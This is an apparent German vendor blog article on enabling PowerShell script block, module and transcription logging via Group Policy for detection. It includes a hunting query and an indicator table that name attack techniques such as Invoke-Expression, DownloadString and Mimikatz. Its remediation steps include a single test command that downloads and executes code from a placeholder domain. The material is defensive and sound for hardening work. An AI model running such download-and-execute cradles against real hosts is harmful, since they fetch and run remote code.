Was ist PowerShell Script Block Logging (und warum es eine von drei Einstellungen ist, nicht nur eine)
PowerShell Script Block Logging Active Directory GPO-Einstellungen gehören zusammen mit Modul-Logging und Transkription zu den wertvollsten Detection-Controls, die in den meisten Windows-Umgebungen nach wie vor standardmäßig deaktiviert sind. Script Block Logging selbst ist eine über Group Policy gesteuerte Einstellung, die den vollständigen Text jedes auf einer Maschine ausgeführten PowerShell-Skriptblocks – einschließlich verschleiertem oder dynamisch generiertem Code – direkt in das Windows-Ereignisprotokoll schreibt. Zusammen machen die drei Einstellungen den Unterschied zwischen einem forensischen Nachweis dessen, was auf einem Host lief, und nichts als einer Lücke dort, wo einmal ein Vorfall war.
Das ist relevanter, als der Schweregrad im Katalog vermuten lässt. Ein Großteil moderner Post-Exploitation-Tradecraft ist dateilos: Sie läuft vollständig im Arbeitsspeicher über PowerShell und hinterlässt keine ausführbare Datei auf der Festplatte, die Antivirus- oder EDR-Dateiscans erfassen könnten (Malwarebytes / ThreatDown zum Black-Basta-PowerShell-zu-Cobalt-Strike-Loader). Ohne diese drei GPO-Einstellungen ist diese Aktivität für Ihr SIEM praktisch unsichtbar.
PowerShell Script Block Logging Active Directory GPO: Wie die Drei Einstellungen Funktionieren
Alle drei befinden sich unter demselben Group-Policy-Pfad — derselben Objektklasse, die in unserem Leitfaden zu GPO-Fehlkonfigurationen als Angriffsvektor behandelt wird, denn eine falsch verknüpfte oder überschriebene GPO bedeutet hier „aktiviert" nur auf dem Papier:
Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > Windows PowerShell
| Einstellung | GPO-Name | Registrierungsschlüssel | Event-Quelle |
|---|---|---|---|
| Script Block Logging | Protokollierung von Skriptblöcken aktivieren | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging (DWORD) | Event ID 4104 |
| Modul-Logging | Modulprotokollierung aktivieren | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging (DWORD) + ModuleNames | Event ID 4103 |
| Transkription | PowerShell-Transkription aktivieren | HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription → EnableTranscripting (DWORD) | Textdateien, kein Ereignisprotokoll |
Script Block Logging (Event ID 4104)
Ist die Einstellung aktiviert, wird jeder von PowerShell geparste Skriptblock — auch ein Base64-codierter oder zur Laufzeit per String-Konkatenation zusammengesetzter — als Event ID 4104 in Microsoft-Windows-PowerShell/Operational protokolliert, inklusive des deobfuskierten Inhalts. Das ist die mit Abstand wertvollste der drei Einstellungen, denn sie hebelt einfache Verschleierung aus: Das Skript eines Angreifers mag auf der Leitung unlesbar wirken, aber PowerShell muss es zur Ausführung decodieren — und genau diesen Moment erfasst Script Block Logging (TrustedSec, „Building a Detection Foundation Part 3: PowerShell and Script Logging").
Innerhalb derselben Richtlinie gibt es eine zweite, optionale Ebene: Start-/Stopp-Ereignisse für Skriptblockaufrufe protokollieren, die zusätzlich die Event IDs 4105 und 4106 für jeden beginnenden und beendeten Block ausgibt. Diese Option ist sehr detailliert (verbose), standardmäßig deaktiviert selbst wenn Script Block Logging selbst aktiv ist, und erzeugt genug Volumen, dass die meisten Umgebungen sie bewusst flächendeckend deaktiviert lassen.
$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
Modul-Logging (Event ID 4103)
Modul-Logging zeichnet Pipeline-Ausführungsdetails für die von Ihnen angegebenen Module auf — Cmdlet-Aufrufe, Parameter und Pipeline-Objektausgaben — als Event ID 4103. Diese Funktion existiert seit PowerShell 3.0 als Eigenschaft LogPipelineExecutionDetails eines Moduls; die GPO ist lediglich der flächendeckende Weg, sie umzuschalten. Sie ist standardmäßig für jedes eingebaute Modul deaktiviert (Microsoft Learn, about_Group_Policy_Settings). Im Anzeigen…-Dialog der GPO listen Sie die zu protokollierenden Modulnamen auf; * deckt alle Module ab, was die meisten Umgebungen tun sollten — nur eine handverlesene Modulliste zu protokollieren erzeugt einen blinden Fleck, sobald ein Angreifer etwas außerhalb dieser Liste verwendet.
Transkription (keine Event ID — Textdateien)
Transkription unterscheidet sich grundsätzlich: Statt in das Ereignisprotokoll zu schreiben, legt sie ein Klartext-Transkript jeder PowerShell-Ein- und -Ausgabe in einer Datei ab — vergleichbar damit, automatisch bei jeder Sitzung Start-Transcript auszuführen. Konfigurieren Sie OutputDirectory auf eine zentrale, zugriffsbeschränkte UNC-Freigabe statt sie beim benutzerbezogenen Standard zu belassen, und aktivieren Sie Aufrufheader einschließen, damit jeder Befehl einen Zeitstempel erhält. Da Transkripte Dateien auf der Festplatte (oder einer Freigabe) sind, stellen sie eine vom Ereignisprotokoll unabhängige forensische Quelle dar und bleiben erhalten, selbst wenn ein Angreifer die Windows-Ereignisprotokolle löscht.
Warum Dies Eine Detection-Lücke Ist, Nicht Nur Ein Compliance-Häkchen
Frameworks wie Empire und Cobalt Strike führen ihre PowerShell-Stager und Post-Exploitation-Module vollständig im Arbeitsspeicher aus. Das Detection-Research-Team von Splunk hat für genau dieses Szenario eine eigene Analytic gebaut — Erkennung von Empire über PowerShell Script Block Logging — eben weil ohne 4104-Ereignisse die speicherinterne Ausführung von Empire auf dem Host sonst nichts zum Jagen hinterlässt. Die Prozesserstellungsprotokollierung (Event ID 4688) zeigt zwar den Start von powershell.exe, aber die Kommandozeile allein ist oft abgeschnitten, codiert oder so stark verschleiert, dass das Was — der tatsächlich ausgeführte Code — nur aus dem deobfuskierten Skriptblock-Inhalt von 4104 rekonstruierbar ist (Splunk, „Hunting for Malicious PowerShell using Script Block Logging").
Ein konkretes Beispiel: ThreatDowns Analyse einer Black-Basta-Intrusion zeigte, dass der initiale PowerShell-Stager mehrere Runden von Base64-Codierung, Kompression und Verschlüsselung übereinanderlegte, gezielt um statische Inspektion zu umgehen, bevor er ein Cobalt-Strike-Beacon direkt in den Arbeitsspeicher injizierte (ThreatDown, „How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). Keiner dieser Schritte berührt die Festplatte auf eine Weise, die klassische Antivirus-Signaturen erfassen — Script Block Logging ist es, was den codierten Blob in Ihrem Ereignisprotokoll wieder in lesbares PowerShell zurückverwandelt, nachdem PowerShell selbst bereits die Decodierungsarbeit für Sie erledigt hat.
Einfach gesagt: Sind alle drei Einstellungen deaktiviert, hinterlässt ein Angreifer, der einen codierten speicherinternen PowerShell-Loader ausführt, nur ein Prozesserstellungsereignis und sonst nichts. Sind sie aktiviert, hinterlässt derselbe Angriff einen decodierten Skriptblock, die berührte Modul-Pipeline und ein Text-Transkript dessen, was er getan hat.
Erkennung
Für das größere Bild, welche Windows-Event-IDs tatsächlich einen Platz in Ihrem SIEM verdienen, siehe Active Directory Monitoring: Die Sicherheits-Event-IDs, die zählen. Speziell für PowerShell:
| Indikator | Event ID | Quelle | Worauf zu Achten Ist |
|---|---|---|---|
| Skriptblock-Inhalt | 4104 | Microsoft-Windows-PowerShell/Operational | Deobfuskierter Skripttext mit Invoke-Expression, DownloadString, -EncodedCommand, IEX, reflektierendem Assembly-Laden |
| Start/Stopp des Skriptblockaufrufs | 4105 / 4106 | Microsoft-Windows-PowerShell/Operational | Nur vorhanden, wenn die Aufrufprotokollierung separat aktiviert ist; nützlich zur Korrelation des genauen Ausführungszeitpunkts |
| Modul-Pipeline-Ausführung | 4103 | Microsoft-Windows-PowerShell/Operational | Cmdlet + Parameter für Module außerhalb der normalen Baseline eines Hosts (z. B. Invoke-Mimikatz, Invoke-WMIExec) |
| Prozesserstellung | 4688 | Security | powershell.exe / pwsh.exe mit -nop, -w hidden, -enc oder ungewöhnlich langen Kommandozeilen |
| Transkript-Dateien | n/a | Konfigurierte OutputDirectory-Freigabe | Klartext-Sitzungsprotokolle, die mit dem Zeitstempel eines verdächtigen 4104-Ereignisses korrelieren |
Eine minimale Hunting-Query gegen eine Sentinel-/KQL-artige Ereignistabelle, unter Nutzung des Kanals Microsoft-Windows-PowerShell/Operational:
Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
"Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
"FromBase64String", "Net.WebClient", "-nop", "-w hidden"
)
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc
Das ist ein Ausgangspunkt, keine fertige Detection: Passen Sie die has_any-Liste an das normale Admin-Tooling Ihrer eigenen Umgebung an, denn RSAT-Module, Backup-Agenten und EDR-Agenten tauchen routinemäßig in der 4103-Telemetrie auf und würden eine naive Regel in Falsch-Positiven ertränken. Leiten Sie denselben Kanal in das Korrelationsprodukt, das Sie bereits betreiben — Sentinel, Splunk oder ein On-Prem-SIEM konsumieren Microsoft-Windows-PowerShell/Operational alle auf dieselbe Weise, der Aufwand liegt also im Tuning, nicht in der Verkabelung.
⚠️ Warnung: 4104 allein zeigt kein Start-/Stopp-Timing, und Transkription allein übersteht keinen Angreifer, der die Logging-Registrierungsschlüssel mitten in der Sitzung mit erhöhten Rechten deaktiviert. Behandeln Sie die drei Einstellungen als sich ergänzende Ebenen, nicht als gegenseitigen Ersatz.
Behebung
💡 Quick Win: Wenn Sie nur eine der drei Einstellungen aktivieren, wählen Sie Script Block Logging (4104) — es bietet den höchsten Detection-Wert bei geringstem Logvolumen, da es deobfuskierten Inhalt statt rohem Pipeline-Rauschen erfasst.
- Script Block Logging aktivieren. In einer mit Ihren Workstation-/Server-OUs verknüpften GPO: Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > Windows PowerShell > Protokollierung von Skriptblöcken aktivieren → Aktiviert. Lassen Sie die Start-/Stopp-Suboption deaktiviert, außer Sie haben SIEM-Budget für das zusätzliche Volumen.
- Modul-Logging für alle Module aktivieren. Derselbe GPO-Pfad, Modulprotokollierung aktivieren → Aktiviert → im Dialog Anzeigen…
*hinzufügen, damit kein Modul unprotokolliert bleibt. - Transkription mit zentralem Ausgabeverzeichnis aktivieren. PowerShell-Transkription aktivieren → Aktiviert,
OutputDirectoryauf eine nur beschreibbare UNC-Freigabe setzen (Lese-/Löschrechte für Standardbenutzer verweigern), und Aufrufheader einschließen aktivieren. Microsoft-Windows-PowerShell/Operationalan Ihr SIEM weiterleiten. Diese Einstellungen helfen nur, wenn die Ereignisse den Host tatsächlich verlassen — dieselbe Audit-Policy-Disziplin, die in Active Directory Auditrichtlinien: Konfigurationslücken behandelt wird: Stellen Sie sicher, dass Ihre Log-Forwarding-Konfiguration diesen Kanal tatsächlich abonniert, nicht nurSecurity.- Mit
gpresultund der Registrierung verifizieren, nicht nur mit der GPO-Konsole — bestätigen Sie an einer Stichprobe von Mitgliedsservern und Workstations, dass die Richtlinie tatsächlich angewendet wurde (gpresult /h report.htmloder Prüfung der oben genannten Registrierungsschlüssel), da Fehler im GPO-Verknüpfungsbereich und in der Rangfolge ein häufiger Grund sind, warum „aktivierte" Richtlinien nie den Endpunkt erreichen. - Die Pipeline Ende-zu-Ende testen. Führen Sie auf einem sandboxed Testhost einen bewusst auffälligen, aber harmlosen Befehl aus (zum Beispiel
IEX (New-Object Net.WebClient).DownloadString('http://example.invalid')gegen eine nicht auflösbare Domain) und bestätigen Sie, dass das entsprechende 4104-Ereignis sowohl lokal erscheint als auch in Ihrem SIEM ankommt. Eine GPO, die „angewendet" wird, deren Ereignisse aber nie im SIEM ankommen, ist funktional identisch mit gar keiner GPO. - Einschränken, wer die GPO bearbeiten und wer lokaler Administrator sein darf. Alle drei Einstellungen liegen in der Registrierung unter
HKLM; ein Benutzer mit lokalen Administratorrechten kann sie deaktivieren, also grenzen Sie die Mitgliedschaft in der lokalen Administratorengruppe bewusst als Teil desselben Hardening-Durchgangs ein. Kombinieren Sie dies mit eindeutigen, rotierten lokalen Administrator-Anmeldeinformationen — siehe Windows LAPS Nicht Bereitgestellt und die umfassendere Prioritätenliste in Active Directory Härten: Was Zuerst Gesichert Werden Sollte.
Wie EtcSec Dies Erkennt
Das Active-Directory-Audit von EtcSec prüft den effektiven Status aller drei Einstellungen in Ihrer gesamten Domäne über die Katalogeinträge PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF und PA038_PS_TRANSCRIPTION_OFF sowie den umfassenderen Check POWERSHELL_LOGGING_DISABLED, und markiert Hosts oder GPO-Geltungsbereiche, in denen PowerShell-Aktivität unprotokolliert laufen würde — dasselbe Posture-Drift-Problem, das in Active Directory Sicherheit Auditieren: Checkliste behandelt wird.
ℹ️ Hinweis: EtcSec prüft diese Schwachstelle automatisch bei jedem AD-Audit. Führen Sie ein kostenloses Audit durch, um zu verifizieren, dass Ihre Umgebung PowerShell-Aktivität nicht unprotokolliert lässt.
Entdecken Sie die Identity-Security-Seiten zu diesem Thema

